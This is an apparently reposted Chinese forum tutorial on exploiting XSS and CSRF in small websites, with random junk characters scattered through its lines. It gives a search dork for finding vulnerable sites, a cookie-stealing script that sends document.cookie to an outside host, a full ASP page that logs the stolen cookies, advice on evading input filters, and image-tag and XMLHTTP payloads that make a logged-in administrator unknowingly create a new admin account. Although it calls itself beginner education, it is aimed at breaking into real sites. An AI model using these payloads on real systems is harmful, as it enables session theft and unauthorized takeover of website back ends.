前天贴吧一位朋友发了个后台XSS利用的帖子,大家就一起讨论了讨论,原帖为:
, n, _& ]2 e# K5 y$ O& i
9 x& j/ N/ i% f6 b3 B( ~http://tieba.baidu.com/f?kz=1069007239
Q) D8 u m/ p
' ^5 w/ M7 f$ c. u6 T1 X这个帖子说的只是一个思路,不是很详细,并且说的是利用后台XSS挂马的情况,但是其实在后台挂马一般是不会牵扯到XSS的,只是一个过滤不过滤转换不转换的问题,比如很多带编辑器的后台,都是不过滤不转换在文章中的html代码的,比如eweb,你可以直接编辑发表文章的时候的html代码,这就为挂马、盗cookie提供了很多机会。
/ @3 V$ w' |9 ?* }) y4 T4 ~' d, t) v, W) S! _7 |' L- w4 p
但是,我想说的是,即使是挂马、盗cookie,也是不会使用location这种手法的,因为这样太明显了,一般都是使用普通挂马的手法的,比如iframe、JS等等。
0 e& K! ^* e& c* I, {; }0 Q z' X8 H8 z
我在上边的帖子中说作者讲的不是很详细,希望出一个详细点的利用教程,于是今天又一位朋友就发了一个详细些的文章,我这里就发大博客里,让更多需要的朋友看到这篇文章。, M9 r( a9 D n$ \
5 v5 J3 Z: }- F4 O9 U
这个文章是对XSS的一个很简单的利用,原理很简单,主要用于科普,只是想让朋友们知道,XSS并不是简单的弹个框框玩那么简单的,是有很多利用价值的,在国外,XSS已经被列为网站杀手之一,包括国内的很多大站,大家都把心思放到了防范SQL注入上,相应的对XSS的防范就很少,这也是XSS总是能成功的原因之一。, _& |3 n7 \: P$ c/ F0 O5 G
; W$ z' |/ F8 t0 \好了,废话不多说了,一起来看文章吧。
& s* p" Z! X3 G7 R: [# ] Z& ^6 S2 l1 U% L
-------------------------------------------------------------------' N9 d6 k4 T4 p; A% w8 j8 j8 u
& f, A2 |2 V" o' ?4 ^
首先要找到一个有XXS的站,这里就不整什么大站了,谷歌一下inurl:'Product.asp?BigClassName',搜出来的命中率也比较高。随便找一个,先<script>alert('xxs')</script>一下。呵呵,框框出来了。! @( d/ K2 M; y4 y( V& d9 F
, F' ~& O% S5 J 0 }; q- \ U% M( u, B! M9 w {
: Y4 B) W5 L; w7 L9 `8 C
再看看自己的Cookie吧,把alert里面的内容换成document.cookie就可以了,如图:
, a) d4 e" }, E* H# Z. J' c% j2 M+ c/ t
, b2 C8 Q l# e& | C
: {8 R/ N7 ]3 A6 X! h* ?1 C: P这里就是要把弹出来框框里的东西收集到我们的记事本里。这里,要玩这个步骤就需要一个你自己的站点,具体思路就是
" }7 S! d3 i8 z8 L* K' g1:让目标访问已跨站的网址,然后这个网址执行脚本
& D( t5 ?# m; g+ {/ ?2:然后跳转到你已经写好专门用来收集Cookie的网址8 e1 c; ` x/ u& B/ ^" P c
8 b" u# H' v& ~% Y
具体实现方法:- Z: a- l% a/ d' Q0 \
先构造语句<script>window.open('http://dlgyi.rrvv.net/cookie.asp?msg='+document.cookie)</script>
+ Z! e$ n' T; m1 q2 m这句话意思是打开一个新的窗口,访问http://dlgyi.rrvv.net/cookie.asp这个网址,并且通过msg传递一个变量,这里的变量就是我们要收集的cookie了。
: m( O+ T9 ? S' G5 k/ T; M: A/ o# x0 t
. h* M. [4 D7 {4 ?2 U4 P这里需要自己写一个页面,也就是收集对方发过来cookie的页面,代码是这样的:
6 [; d9 z7 U* O2 G# f; g$ i8 S: {0 u
<html>: S8 K) O; G7 E* T: A
<title>xx</title>
' |) ^/ f. k- M- y$ v+ _9 M<body>
1 \! T' |! K7 A% }& J7 e<%' @# `0 d/ d" B8 f ?. R. d
testfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中
/ s- r, A, v3 v; w& W/ F! fmsg = Request("msg") //获取提交过来的msg变量,也就是cookie值8 j) E' A" p: e9 Y
set fs = server.CreateObject("scripting.filesystemobject")创建一个fs对象
) l! |% h% P/ W$ b3 ?set thisfile = fs.OpenTextFile(testfile,8,True,0)
J4 G; I9 [0 k/ Othisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie
0 {' `; ^1 B& M, q9 G0 u/ Hthisfile.close //关闭
. A7 L, W$ Y+ X( _! {% O, r0 Gset fs = nothing
( s9 [/ Q/ |/ V%>
/ c( X5 `' T! ]6 j) L</body>3 o0 T8 t# X' H; ^, B0 w
</html>9 r) Z5 N- V; X- D+ r4 b. k
: B& d3 S$ r+ R9 |然后保存,放在你自己服务器上,如果有人点击构造好的XXS页面,就会自动在你网站的根目录生成一个文本:* Y2 }$ M$ w* P$ d
|9 ]- W: T/ ~: j$ O
) Z/ ?! S, B* @9 t; \
# X+ J/ j5 a& @- x) Z' _8 ]7 H& i Q+ c4 A( u$ F, j! e; v4 t/ G. q
拿出来看看,呵呵,Cookie到手:) n& Y. }+ |8 i1 u7 a' N% A
: j' a% j8 `" q, i ' O% @* N5 L) `+ x2 j. R0 l4 @
8 p- \) O+ h7 |& y本文只是抛砖引玉,而且没有多大的实战价值,一来很多网站都过滤掉了+号这个字符连接符,二来稍大点的站,也不会存在如此的XXS,本文旨在给新手一个练习的向导,毕竟不可能谁一开始学习就可以RI掉大站,从小站开始练手,一起进步。话说咱也是新手O(∩_∩)O~
# K$ T' a) J& C \3 Z2 O# ?5 ]3 N
PS:一点小提示,如果提交<script>alert('xxs')</script>网站没有反应时,不要立刻就点X。你可以鼠标右击,查看一下网站的源码,看看网站到底过滤掉了什么字符,通过编码啊神马的发挥下智慧,绕过过滤。只要出现小框框,咱就胜利了。- @ ~: Z- o8 Y+ |6 x. Y+ P
& F/ \- R/ p% W4 U' a% X7 z
-------------------------------------------------------------------% K4 W4 b! C. |+ I& s ?2 u+ K
! F$ w6 L7 P$ p& q下面是我对这个帖子的回复,也一起贴过来吧:
[; V6 a5 Z0 O9 d# _0 ]4 w: I0 _4 C
说实话,像这种后台XSS其实作用不大的,一般的小站你拿到cookie也没什么利用价值,大点的站的话,或许可以用cookie盗点装备什么的,但那牵扯的多了,不过对于普通脚本小子来说,日站的时候除非毫无办法了还会想到XSS的,不过日站时候的XSS利用方法跟这篇文章里讲的差不多的,可以借鉴一下。
9 I# `8 }0 I8 R5 l' E
) \: q3 w7 j! n& m6 r但是,这里的文章讲的是针对已经进入后台、拿shell无望又想多获得点东西的情况,说它鸡肋的原因是,你知道的,现在大部分站都是cookie+session的,并且一般用户名和密码不会直接放到cookie里了,这是它鸡肋的原因。) P8 Q, s1 u0 z$ H0 W; ^ [7 m
再者,日站的时候盗cookie一般是想进后台,但是如果遇到网上有源码的情况的话,还可以进一步利用,比如添加个管理员什么的。
4 Z, W3 P3 t( a3 b1 i
3 C! [/ e6 @. S& _: S4 ~1 m- S在文章的最后,顺便贴上一般XSS的利用思路,也不是原创,原文链接:% Z8 W0 I6 {4 E0 d
8 \6 l/ s4 r6 G% yhttp://user.qzone.qq.com/673116767/blog/1252452536
; f) n1 y% N" u H$ ~
: l: K s# s# S6 P9 f一般发现一个xss漏洞后要做的基本上就是这些:( M6 D2 h7 q" w
, M. f# N2 {- z k1. 伪造请求 使用$_REQUEST或$_GET
$ Q; J4 [0 u0 _, L& G+ Q+ ^, S* l9 V
首先我们要找找该网站使用的程序是不是在网上能找到源码,如果能找到源码的话,就去分析后台管理员更改密码或者增加管理员的页面,然后分析管理员使用的是不是$_REQUEST接收参数,如果是的话,我们使用该XSS漏洞构造一个请求,比如前台发表留言中可以使用HTML代码,那么我们就嵌入一个IMG元素:4 n5 e+ {& u' ]5 ?
<img src="/admin/admin_add.asp?name=xxx&psd=yyy" />: F% Y7 c" r Z
当管理员登录管理后台后看到包含img的页面的时候,就伪造了一个增加后台管理员的请求,而该请求是由管理员发出的,所以顺利的增加了一个新的管理员。: a% x% ?$ U8 U( P
. V- J3 k$ y3 f) Y如果是可视文本编辑器,可以尝试使用输入:
8 _# t- w, A' ]. @http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy')6 ]5 J& r5 j- O! S& ]
这样最终会构造出:
$ P8 N3 D8 G" C" I; |. Z<img src="http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy',0,0)" />
) a% [% R7 _/ y; z总之要举一反三。" y9 `' f* Z, P. \8 v
) m' `( _5 C K k2. 伪造请求 使用$_POST
' N/ u0 G2 Q' S0 ~( a0 I( w& I1 _/ D$ T# S- a9 I! J9 n/ u3 j
当后台接收增加管理员或更改管理密码的变量时使用的是$_POST方式,那么第一种方法无效,我们视情况而定,如果没有过滤<script>,我们可以通过ajax方式来伪造请求,如:9 P* ?* J1 c8 q0 v
<sc/*xss*/ript type="text/javascript">. @; ?' _, N* U& j
var aj = new ActiveXObject("MSXML2.XMLHTTP.3.0");
7 ^% u: p v% A5 _aj.open("POST", "/admin/admin_add.asp", false);
% g2 V% v3 \% Tvar postdata = 'name=xxx&psd=yyy';
8 Z& n; M7 {' d) M+ W5 Uaj.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
2 C2 b( q9 W+ Y7 }$ M* `8 iaj.send(postdata);/ B! z! q% i( D. p A
</scr/*xss*/ipt>
( x" }3 A; o u( ]/*xss*/是HTML注释,用来绕过简单的对script代码块的过滤。
! ~9 O3 z( d' @+ E+ R: @+ H; e S, B- _/ E* L1 D
3. 跨站伪造请求 使用$_GET 或 $_REQUEST0 q1 U. x" F: H% l# O$ o2 a! s
; f& s C! @5 E! V4 a与第一种伪造请求的方式相似,但是第一种伪造请求是利用站内的xss漏洞进行的,而跨站伪造请求,是站外发起的,比如我在我的博客的首页放了这样一个图片
1 m8 a7 \/ @. X<img src="http://www.drvfan.com/admin/admin_add.asp?user=xxx&psd=yyy"/># C4 |+ ^1 p4 m+ [7 v; `1 I
然后我跑到dvbbs上发帖子,“勾引”动网论坛的管理员来我的博客,如果动网论坛的管理员已经登录了他的管理后台,然后使用共享进程的浏览器(目前基于ie内核的myie,maxton等等还有firefox都是共享进程的)来访问我的博客,那么他的后台就会被加入一个用户。
3 F) L9 m7 a' D0 V. u
/ ^; t: l& f9 }# s; O4.跨站伪造请求 使用$_POST(0day)0 c" w( w7 t3 S' {9 r* ^& f- U. @) c
Z5 }: O/ h( }如果入侵目标的管理后台使用的是$_POST方式来接受变量,那么我们无法在我们的网站跨站使用ajax的post方式提交数据过去,因为ajax是无法跨域的。
8 F( y4 U& m4 g6 A2 T) N4 m' Z+ w$ ^, o6 @* D% S
但是我们可以在我们的网站放一个form,里面填写好数据,form的action为要利用的有漏洞的页面,然后当有人打开该页面的时候,我们就用js控制该form进行submit,ajax虽然不能跨域,但向域之外的地址提交form总是可以的。9 W% P& y' u0 }2 S/ S1 s4 g/ w# f
" k7 f/ E& W. J S$ F! `. |9 D& `. [总之,第3,4种方法成功几率要小一些,因为我们要想办法让已经登录自身后台的管理员,使用共享session的浏览器访问我们的伪造请求的页面,有一点社会工程学的技术含量。1 g5 q& g$ g0 O2 Z1 D
! \) V' @1 k: e- ?3 ~
OK,该说的都说完了,Over。* [* i2 k8 O( ]
|